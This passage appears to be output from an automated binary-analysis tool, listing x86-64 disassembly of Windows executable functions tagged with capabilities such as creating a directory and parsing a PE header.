jbe 0x1400063f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400063f8
xor al, al
add rsp, 0x28
ret
Function at 0x14000c9b0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
test rcx, rcx
jne 0x14000c9cf
call fcn.140016508
jmp 0x14000ca84
and qword [rbp - 0x30], 0
lea rcx, [rbp - 0x50]
and qword [rbp - 0x28], 0
xor edx, edx
and qword [rbp - 0x20], 0
and qword [rbp - 0x18], 0
and qword [rbp - 0x10], 0
mov byte [rbp - 8], 0
call fcn.14000c914
mov rax, qword [rbp - 0x48]
mov r9d, 0xfde9
cmp dword [rax + 0xc], r9d
jne 0x14000ca1a
cmp byte [rbp - 0x38], 0
je 0x14000ca4f
mov rax, qword [rbp - 0x50]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000ca4f
call fcn.140015cac
test eax, eax
jne 0x14000ca3b
cmp byte [rbp - 0x38], al
je 0x14000ca33
mov rax, qword [rbp - 0x50]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000ca4f
cmp byte [rbp - 0x38], 0
je 0x14000ca4c
mov rax, qword [rbp - 0x50]
and dword [rax + 0x3a8], 0xfffffffd
xor r9d, r9d
lea r8, [rbp + 0x10]
mov rcx, rbx
lea rdx, [rbp - 0x30]
call fcn.14000c798
test eax, eax
je 0x14000ca68
or ebx, 0xffffffff
jmp 0x14000ca73
mov rcx, qword [rbp - 0x20]
call fcn.140016508
mov ebx, eax
cmp byte [rbp - 8], 0
je 0x14000ca82
mov rcx, qword [rbp - 0x20]
call fcn.14001308c
mov eax, ebx
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rbp
ret

Function at 0x1400101f0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000ffec